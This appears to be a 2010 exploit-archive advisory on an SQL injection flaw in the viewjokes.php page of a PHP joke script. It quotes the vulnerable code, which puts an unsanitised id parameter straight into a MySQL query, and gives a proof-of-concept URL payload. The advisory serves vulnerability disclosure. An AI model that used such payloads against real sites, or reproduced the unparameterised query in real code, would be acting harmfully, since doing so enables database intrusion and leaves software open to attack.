[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Evernew Free Joke Script (viewjokes.php) SQL Injection
# Published : 2010-02-01
# Author : Hamza 'MizoZ' N.
# Previous Title : ShoutCMS (content.php) Blind Sql Injection Vulnerability
# Next Title : Joomla (Job Component) SQL Injection Vulnerability
/*
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com
Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com
Greetz : Zuka , int_0x80 , geeksec.com ... a loot
*/
# VULN CODE ]--[ viewjokes.php :
$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];
stuffViewer($id, 'jokes');
$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);
# EXPLOIT :
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--